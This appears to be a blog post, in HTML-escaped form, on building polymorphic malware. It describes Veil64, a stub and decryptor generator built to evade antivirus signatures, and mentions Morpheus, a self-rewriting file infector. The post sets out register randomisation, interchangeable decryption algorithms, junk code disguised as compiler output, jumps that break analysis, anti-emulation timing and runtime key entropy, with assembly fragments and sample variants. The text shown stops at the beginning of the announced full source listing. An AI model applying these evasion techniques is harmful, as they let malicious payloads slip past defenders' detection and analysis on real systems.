&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;Version&lt;/span&gt; &lt;span class="nv"&gt;A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                    &lt;span class="nv"&gt;Version&lt;/span&gt; &lt;span class="nv"&gt;B&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                    &lt;span class="nv"&gt;Version&lt;/span&gt; &lt;span class="nv"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                    &lt;span class="nv"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;                  &lt;span class="nv"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;                       &lt;span class="nv"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;                    &lt;span class="nv"&gt;lea&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Bytes:                        Bytes:                        Bytes:
B8 00 00 00 00 43             31 C0 83 C3 01                29 C0 8D 5B 01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three completely different byte patterns that produce identical behavior. This was my “eureka moment” and the starting point for all subsequent implementations.&lt;/p&gt;

&lt;p&gt;The core insight is: a program’s identity is not its bytes, but its behavior. If I can generate infinitely many patterns that keep behavior unchanged while making bytes different, signature-based detection will be continuously undermined.&lt;/p&gt;

&lt;p&gt;But this also raises harder questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How to systematically generate equivalent code?&lt;/li&gt;
&lt;li&gt;How to guarantee correctness across mutations?&lt;/li&gt;
&lt;li&gt;How to make variants truly unpredictable?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These three questions directly shaped the design of my two engines. They explore different paths to “mutation,” and we call them &lt;strong&gt;Veil64&lt;/strong&gt; and &lt;strong&gt;Morpheus&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Veil64 is a polymorphic code generator used to produce infinite variants of decryption routines: same functionality, infinite forms. Morpheus is a file infector that truly rewrites its own code during execution.&lt;/p&gt;

&lt;p&gt;This is the core idea. Everything else is built on top of it: if you cannot hide &lt;em&gt;what&lt;/em&gt; is done, then make &lt;em&gt;how&lt;/em&gt; it is done unpredictable.&lt;/p&gt;

&lt;p&gt;Signatures are the byte patterns that AV focuses on tracking — the “high-risk” digital footprints. Strings, code fragments, hashes — anything that can mark malware will be used. Encryption is a key technique here: it scrambles these recognizable markers, making it difficult for AV to hit them.&lt;/p&gt;

&lt;p&gt;Then there is the &lt;strong&gt;payload&lt;/strong&gt;, the part that actually executes the malicious logic. It usually does not run alone but is bound to a stub. This small module decrypts and launches the payload in memory. Because the payload itself is encrypted, AV has difficulty hitting it statically and instead targets the stub. The advantage is that the stub is small and easy to continuously mutate, allowing it to constantly bypass old rules.&lt;/p&gt;

&lt;p&gt;This turns the confrontation into a “one-to-many” game, and this mathematical relationship naturally favors the mutation side. Each new variant has a chance to break old detection rules, burn old signatures, and continue to lurk.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“What starts as polymorphic finishes as metamorphic.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  — Levels of Mutation —
&lt;/h3&gt;

&lt;p&gt;Mutation is not just surface-level change — it occurs across layers, including syntactic, structural, and semantic reconstruction.&lt;/p&gt;

&lt;p&gt;First, &lt;strong&gt;syntactic mutation&lt;/strong&gt; (grammar-level mutation). This is the outermost layer: replacing equivalent instructions, randomizing register usage, and reordering operations. Appearance changes, result remains the same.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nl"&gt;Original:&lt;/span&gt;     &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nl"&gt;Mutated:&lt;/span&gt;      &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;
              &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
              &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
              &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
              &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both snippets load the value at &lt;code&gt;[ebx+4]&lt;/code&gt; into &lt;code&gt;eax&lt;/code&gt;, but the instruction paths are completely different.&lt;/p&gt;

&lt;p&gt;Deeper is &lt;strong&gt;structural mutation&lt;/strong&gt; (structure-level mutation). The change is more profound: reconnecting control flow, rewriting data structures, or even replacing entire algorithms with “different paths but equivalent results.”&lt;/p&gt;

&lt;p&gt;The deepest is &lt;strong&gt;semantic mutation&lt;/strong&gt; (semantic-level mutation). It splits functions and reorganizes logic into behaviorally equivalent bodies while ensuring the original intent remains unchanged.&lt;/p&gt;

&lt;h3&gt;
  
  
  — The Conservation Principle —
&lt;/h3&gt;

&lt;p&gt;No matter how aggressive the mutation, there is one non-negotiable constraint: the program’s semantic behavior must be preserved. &lt;em&gt;What&lt;/em&gt; is done (functional output) must remain unchanged; only &lt;em&gt;how&lt;/em&gt; it is done (internal implementation mechanism) can change.&lt;/p&gt;

&lt;p&gt;The genotype (underlying code structure) can freely drift, mutate, and be obfuscated; the phenotype (externally observable behavior) must remain constant. All mutation techniques can only operate within this boundary.&lt;/p&gt;

&lt;h3&gt;
  
  
  Naive Approaches
&lt;/h3&gt;

&lt;p&gt;Polymorphism is the purest form of mutation. It essentially expresses the same thing in a thousand different ways. Like a chameleon with a clear goal: core behavior is locked, while everything else continuously changes. No fixed identity, only endless variants.&lt;/p&gt;

&lt;p&gt;My first serious attempt to break signature detection was &lt;strong&gt;Veil64&lt;/strong&gt;: a polymorphic code generator capable of generating infinite different ways to write the same decryption logic. The goal was simple: encrypt the payload differently every time and ensure the decryptor never appears the same twice.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Core Challenges —
&lt;/h3&gt;

&lt;p&gt;Constructing code that can correctly decrypt every time but looks different each time is non-trivial. Every generation must be compact, fast, clean, highly efficient, without leaving obvious patterns, and resistant to both static and dynamic analysis.&lt;/p&gt;

&lt;p&gt;I started with a simple two-stage design, and understanding this split is key to why it works. The first layer is the &lt;strong&gt;stub&lt;/strong&gt;: a minimal piece of code responsible for memory allocation and decrypting the embedded engine. The second layer is the &lt;strong&gt;engine&lt;/strong&gt; itself: the polymorphic decryptor that actually handles the payload.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────┐
│   Stub Code     │   (119-200 bytes)
├─────────────────┤
│ Encrypted Engine│   (176-300 bytes)
├─────────────────┤
│   Padding       │
└─────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why use two stages? Because this allows the polymorphic engine itself to be encrypted. The stub is small and simple, so even with variants, the signature surface is limited. The real polymorphic power resides in the engine. By encrypting the engine and embedding it inside the stub, complex and variable code is hidden until runtime.&lt;/p&gt;

&lt;p&gt;The overall flow is as follows: you call &lt;code&gt;genrat()&lt;/code&gt; with a buffer, size, and seed key. The engine first generates a runtime key using multiple entropy sources: RDTSC provides hardware timing, stack pointer provides process differences, and RIP provides position-related randomness. It then builds the polymorphic engine, including random register allocation, selection among four algorithmic variants, and intelligent junk code injection.&lt;/p&gt;

&lt;p&gt;Next comes the stub generation stage. Multiple &lt;code&gt;mmap&lt;/code&gt; syscall initialization variants are generated, RIP-relative addressing is handled for position independence, and the encrypted engine is embedded. Finally, everything is encrypted and assembled into executable code.&lt;/p&gt;

&lt;p&gt;The clever part is that the stub and engine change independently. Even if someone creates a signature for a stub variant, the internal encrypted engine is different every time. Even if they manage to extract and analyze the engine, the next generation will use a completely different set of registers and algorithms.&lt;/p&gt;

&lt;h3&gt;
  
  
  — The Four Pillars of Polymorphism —
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Never use the same set of registers twice.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hard-coded registers are signature bait. If your decryptor always uses EAX as a counter and EBX as a data pointer, you are practically exposing yourself. Such patterns will be quickly flagged, so the engine randomizes register usage on every generation.&lt;/p&gt;

&lt;p&gt;But this is not random grabbing. The selection process avoids conflicts, skips RSP to prevent stack corruption, and ensures no register takes on multiple roles. The underlying logic looks roughly like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nl"&gt;get_rr:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;           &lt;span class="c1"&gt;; Never use stack pointer&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;get_rr&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RAX&lt;/span&gt;           &lt;span class="c1"&gt;; Avoid RAX conflicts&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;get_rr&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;    &lt;span class="c1"&gt;; Store base register&lt;/span&gt;

&lt;span class="nl"&gt;.retry_count:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_count&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;    &lt;span class="c1"&gt;; Ensure no conflicts&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_count&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This process is repeated for key registers and all registers used in junk code. Even before considering algorithms and junk injection, there are already 210 possible register combinations. That means the same register-level operation can have 210 different appearances — all completely distinct to a signature scanner.&lt;/p&gt;

&lt;p&gt;One variant might use RBX for data, RCX for counting, and RDX for the key. The next might switch to RSI for data, RDI for counting, and RBX for the key. Yet another could use extended registers R8, R9, R10. Every combination is functionally equivalent, but the opcode patterns are completely different.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Four Ways to Say the Same Thing —
&lt;/h3&gt;

&lt;p&gt;Register randomization is only the starting point. True depth comes from algorithmic polymorphism. We do not fix a single decryption flow but cycle between four equivalent algorithms: same output, completely different instruction streams.&lt;/p&gt;

&lt;p&gt;This is not simply swapping XOR for ADD. Each variant is carefully designed to guarantee correctness while maximizing signature dispersion.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Algorithm 0: ADD → ROL → XOR
&lt;/li&gt;
&lt;li&gt;Algorithm 1: XOR → ROL → XOR
&lt;/li&gt;
&lt;li&gt;Algorithm 2: SUB → ROR → XOR
&lt;/li&gt;
&lt;li&gt;Algorithm 3: XOR → ADD → XOR
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All four algorithms produce identical final results, but their instruction sequences and opcode patterns are entirely different.&lt;/p&gt;

&lt;p&gt;Each algorithm has a corresponding inverse process in the encryption phase. For example, if encryption uses XOR → ROR → SUB, decryption uses ADD → ROL → XOR. Mathematically they cancel perfectly, but the instruction flows never look the same. Opcode patterns, instruction lengths, and register usage all change. To a signature scanner, they appear as completely different routines.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Intelligent Junk Code —
&lt;/h3&gt;

&lt;p&gt;Most polymorphic engines fail here: they either stuff random bytes or pile on obvious NOP sleds, practically shouting “I’m malware.” That is low-level. True polymorphism uses “intentional-looking” junk code that blends into the context and mimics normal compiler output.&lt;/p&gt;

&lt;p&gt;Junk injection is not purely random — it is structured. It uses no-net-effect PUSH/POP pairs that look like register preservation, XOR reg, reg to imitate common zeroing initialization, and MOV reg, reg that resembles typical compiler register shuffling.&lt;/p&gt;

&lt;p&gt;This is just a very basic example. Some engines do it more aggressively. The key point is to make it look like real developer code. PUSH RAX followed by POP RBX can masquerade as register saving and transfer; XOR RAX, RAX looks like legitimate initialization; MOV RAX, RAX resembles dead code left by an optimizer. Functionally they add no value, but visually they blend in.&lt;/p&gt;

&lt;p&gt;Junk injection also deliberately varies in density: sometimes heavy, sometimes sparse; sometimes clumped, sometimes scattered in loops. There is no fixed “junk zone” that can be isolated — only code that looks normal every single time.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Breaking Linear Analysis —
&lt;/h3&gt;

&lt;p&gt;Static analysis relies on linear flow: traversing code, building graphs, and extracting patterns. So we break it. Random jumps are inserted to skip over junk regions, directly destroying straight-line logic.&lt;/p&gt;

&lt;p&gt;Jump generation is subtle. Sometimes 2-byte short jumps, sometimes 5-byte long jumps; they may skip only 1 byte or over a dozen. The skipped junk content is randomized every time. Even if the analyzer follows the jump path, its rhythm is disrupted on every run.&lt;/p&gt;

&lt;p&gt;This produces unpredictable control flow and interferes with both static and dynamic analysis. Static tools face non-linear instruction streams mixed with random data; dynamic tools encounter different execution paths on every run, making it difficult to build a stable behavioral profile.&lt;/p&gt;

&lt;p&gt;These jumps also serve a dual purpose: they mimic compiler output. Real compiled code is full of branches, jumps, and irregular flow. Injecting our own jumps increases this “natural complexity,” helping the code blend more seamlessly.&lt;/p&gt;

&lt;h3&gt;
  
  
  — The Entropy Problem —
&lt;/h3&gt;

&lt;p&gt;Hard-coded keys or constants are traps. I learned this the hard way: early versions embedded the constant 0xDEADBEEF in every variant. No matter how much the rest of the code changed, that fixed value instantly became a red flag.&lt;/p&gt;

&lt;p&gt;The solution is runtime key generation: no fixed constants, no repetition, no nail-down patterns. The key is reconstructed on every execution, drawing from multiple entropy sources that vary with execution round, process, and machine.&lt;/p&gt;

&lt;p&gt;Entropy comes from multiple sources. RDTSC provides high-resolution microsecond-level timing; the stack pointer changes with processes and function calls; RIP brings position-related randomness under ASLR; the user key introduces input-driven variation.&lt;/p&gt;

&lt;p&gt;The real strength lies in how these values are combined. It is not simple XOR, but involves rotations, complements, and mixing with stack-related values. Each transformation step depends on the current state, forming a dependency chain that ultimately produces a truly unpredictable key.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Randomness Is Critical —
&lt;/h3&gt;

&lt;p&gt;Excellent polymorphic capability depends on high-quality randomness. Many engines use basic linear congruential generators or simple incrementing counters — both easily produce predictable patterns that can be flagged. I prefer the XorShift PRNG: fast, long period (2^64−1), and passes strong statistical randomness tests without repeating for a very long time.&lt;/p&gt;

&lt;p&gt;Under ASLR, code is loaded at different addresses each time. Hard-coded absolute addresses will cause the polymorphic decryptor to fail if it lands in an unexpected location. The solution is RIP-relative addressing, with offsets calculated based on the current instruction pointer.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Just-in-Time Machine Code Generation —
&lt;/h3&gt;

&lt;p&gt;This is where we reach the real core. You cannot simply rearrange pre-written assembly and call it polymorphic. The engine generates raw x64 machine code on the fly, building every instruction byte by byte. Opcodes and operands are computed dynamically based on the current register allocation and algorithm choice.&lt;/p&gt;

&lt;p&gt;The ModRM byte is especially critical in x64: it encodes which registers are used. By calculating this byte dynamically, the engine can implement the same operation with any register combination, producing different bytes — and therefore different signatures.&lt;/p&gt;

&lt;p&gt;The same polymorphic thinking applies to all syscall parameters. Multiple construction methods are used to avoid pattern matching.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Performance and Scalability —
&lt;/h3&gt;

&lt;p&gt;Basic generation averages 9 to 13 milliseconds per variant, translating to 50,000 to 75,000 variants per minute — enough to overwhelm signature detection. Speed is not higher because each variant undergoes register renaming, flow randomization, intelligent junk injection, and anti-debug checks.&lt;/p&gt;

&lt;p&gt;Generation time fluctuates by ±3 to 4 ms by design to avoid predictability; stable timing would aid detection. The engine maintains this jitter by varying instruction order, junk block size, and encryption rounds.&lt;/p&gt;

&lt;p&gt;Static memory footprint is approximately 340 to 348 KB — far larger than toy 4 KB engines. This includes precomputed transformation tables, runtime mutation logic, and anti-emulation traps. Per-variant memory usage remains stable with no leaks or growth.&lt;/p&gt;

&lt;p&gt;Code size fluctuates between 180 bytes and 1.2 KB. Compact variants favor speed; balanced variants strike a compromise; complex variants maximize complexity to stress AV engines.&lt;/p&gt;

&lt;h3&gt;
  
  
  — What Variants Look Like —
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;Variant&lt;/span&gt; &lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Si&lt;/span&gt;&lt;span class="nv"&gt;ze&lt;/span&gt; &lt;span class="mi"&gt;335&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Key&lt;/span&gt; &lt;span class="mh"&gt;0x4A4BDC5C3AEAC0AD&lt;/span&gt;
&lt;span class="err"&gt;48&lt;/span&gt; &lt;span class="nf"&gt;C7&lt;/span&gt; &lt;span class="nv"&gt;C0&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;A&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt;    &lt;span class="nv"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="err"&gt;48&lt;/span&gt; &lt;span class="nf"&gt;FF&lt;/span&gt; &lt;span class="nv"&gt;C8&lt;/span&gt;                &lt;span class="nv"&gt;dec&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;50&lt;/span&gt;                      &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;58&lt;/span&gt;                      &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;90&lt;/span&gt;                      &lt;span class="nf"&gt;nop&lt;/span&gt;
&lt;span class="err"&gt;48&lt;/span&gt; &lt;span class="err"&gt;31&lt;/span&gt; &lt;span class="nf"&gt;FF&lt;/span&gt;                &lt;span class="nv"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;span class="nf"&gt;...&lt;/span&gt;

&lt;span class="nf"&gt;Variant&lt;/span&gt; &lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Si&lt;/span&gt;&lt;span class="nv"&gt;ze&lt;/span&gt; &lt;span class="mi"&gt;368&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Key&lt;/span&gt; &lt;span class="mh"&gt;0x6BAAA583D73FA32B&lt;/span&gt;
&lt;span class="err"&gt;50&lt;/span&gt;                      &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;58&lt;/span&gt;                      &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;50&lt;/span&gt;                      &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;58&lt;/span&gt;                      &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;48&lt;/span&gt; &lt;span class="err"&gt;31&lt;/span&gt; &lt;span class="nf"&gt;C0&lt;/span&gt;                &lt;span class="nv"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;48&lt;/span&gt; &lt;span class="err"&gt;83&lt;/span&gt; &lt;span class="nf"&gt;C0&lt;/span&gt; &lt;span class="mi"&gt;09&lt;/span&gt;             &lt;span class="nv"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;
&lt;span class="nf"&gt;...&lt;/span&gt;

&lt;span class="nf"&gt;Variant&lt;/span&gt; &lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Si&lt;/span&gt;&lt;span class="nv"&gt;ze&lt;/span&gt; &lt;span class="mi"&gt;385&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Key&lt;/span&gt; &lt;span class="mh"&gt;0x5C3F1EDF85C0D55E&lt;/span&gt;
&lt;span class="err"&gt;90&lt;/span&gt;                      &lt;span class="nf"&gt;nop&lt;/span&gt;
&lt;span class="err"&gt;90&lt;/span&gt;                      &lt;span class="nf"&gt;nop&lt;/span&gt;
&lt;span class="err"&gt;50&lt;/span&gt;                      &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;58&lt;/span&gt;                      &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;48&lt;/span&gt; &lt;span class="nf"&gt;C7&lt;/span&gt; &lt;span class="nv"&gt;C0&lt;/span&gt; &lt;span class="mi"&gt;09&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt;    &lt;span class="nv"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;
&lt;span class="nf"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at the differences. Variant #1 sets RAX by loading 10 then decrementing. Variant #2 uses PUSH/POP junk first, then XOR/ADD. Variant #3 starts with NOPs, inserts another set of junk, then loads directly. The result is the same (RAX = 9), but the method is completely different.&lt;/p&gt;

&lt;p&gt;Size fluctuation is large. These three samples differ by less than 50 bytes. In reality, the engine can produce variants from compact 180-byte versions to large 1200-byte versions, depending on the intensity of junk injection and obfuscation.&lt;/p&gt;

&lt;p&gt;The engine classifies variants into three categories by structure and complexity. Compact types (≈295–350 bytes) minimize junk and prioritize speed; balanced types (up to 400 bytes) compromise between obfuscation and stability; complex types (up to 500 bytes) layer more polymorphic techniques and anti-analysis features.&lt;/p&gt;

&lt;p&gt;With four algorithms combined with 210 register permutations, there are already 840 base variants before adding junk and control-flow obfuscation. Introducing variable junk injection, diverse jump patterns, and multiple stub initialization methods expands the variant space into the millions.&lt;/p&gt;

&lt;p&gt;The key is not just quantity, but “functional equivalence + signature diversity.” Every variant can correctly decrypt the payload, yet appears distinctly different from a signature-detection perspective.&lt;/p&gt;

&lt;p&gt;Effective polymorphism maximizes signature diversity without degrading correctness. Generating billions of variants is meaningless if many are broken or still share detectable patterns. Correctness and diversity scale must hold simultaneously.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Built-in Anti-Analysis Design —
&lt;/h3&gt;

&lt;p&gt;Emulation engines usually struggle with variable timing, and junk code injection creates unpredictable execution durations. Key generation dependent on stack state makes the same variant behave differently across process contexts. Reliance on hardware timestamps further increases emulation cost because it requires accurate RDTSC simulation.&lt;/p&gt;

&lt;p&gt;With no fixed constants or strings, static analysis tools struggle because there are almost no grep-able or fingerprintable anchors. Polymorphic control flow breaks linear analysis, while the encrypted embedded engine hides core logic until runtime.&lt;/p&gt;

&lt;p&gt;Dynamic analysis is also disrupted by “legitimate-looking, functionally neutral” junk code. Multiple execution paths generate different behavioral traces on every run. Runtime key derivation ensures each execution has a unique key, making results difficult to reuse even if tracing succeeds.&lt;/p&gt;

&lt;p&gt;Anti-analysis features are not optional — they are part of the system. Every polymorphic technique serves two purposes simultaneously: evading signatures and increasing analysis cost.&lt;/p&gt;

&lt;h3&gt;
  
  
  Veil64 Full Source Code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="c1"&gt;;------------------------------------------------------------&lt;/span&gt;
&lt;span class="c1"&gt;;   [ V E I L 6 4 ]&lt;/span&gt;
&lt;span class="c1"&gt;;------------------------------------------------------------&lt;/span&gt;
&lt;span class="c1"&gt;;   Type:           Polymorphic Engine / Stub Generator&lt;/span&gt;
&lt;span class="c1"&gt;;   Platform:       x86_64 Linux&lt;/span&gt;
&lt;span class="c1"&gt;;   Size:           ~4KB Engine + Custom Stub&lt;/span&gt;
&lt;span class="c1"&gt;;                   Runtime shellcode obfuscation, encryption,&lt;/span&gt;
&lt;span class="c1"&gt;;                   and stealth execution via mmap + RIP tricks.&lt;/span&gt;
&lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;;                                                   0xf00sec&lt;/span&gt;
&lt;span class="c1"&gt;;------------------------------------------------------------&lt;/span&gt;

&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.text&lt;/span&gt;

&lt;span class="nf"&gt;global&lt;/span&gt; &lt;span class="nv"&gt;genrat&lt;/span&gt;
&lt;span class="nf"&gt;global&lt;/span&gt; &lt;span class="nv"&gt;exec_c&lt;/span&gt;
